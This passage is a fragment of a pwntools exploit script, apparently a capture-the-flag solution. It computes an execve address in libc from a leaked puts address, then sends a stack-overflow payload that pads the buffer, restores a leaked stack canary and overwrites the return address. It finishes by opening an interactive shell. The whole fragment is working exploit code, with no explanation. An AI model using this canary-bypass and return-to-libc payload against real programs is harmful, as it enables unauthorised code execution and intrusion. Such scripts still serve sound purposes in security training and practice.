execve_addr = puts_addr - (libc.symbols['puts'] - execve)

payload2 = b'a'*0x88+p64(canary)+b'a'*8 + p64(execve_addr)

p.sendlineafter(">> ","1")

p.sendline(payload2)

p.sendlineafter(">> ","3")

p.interactive()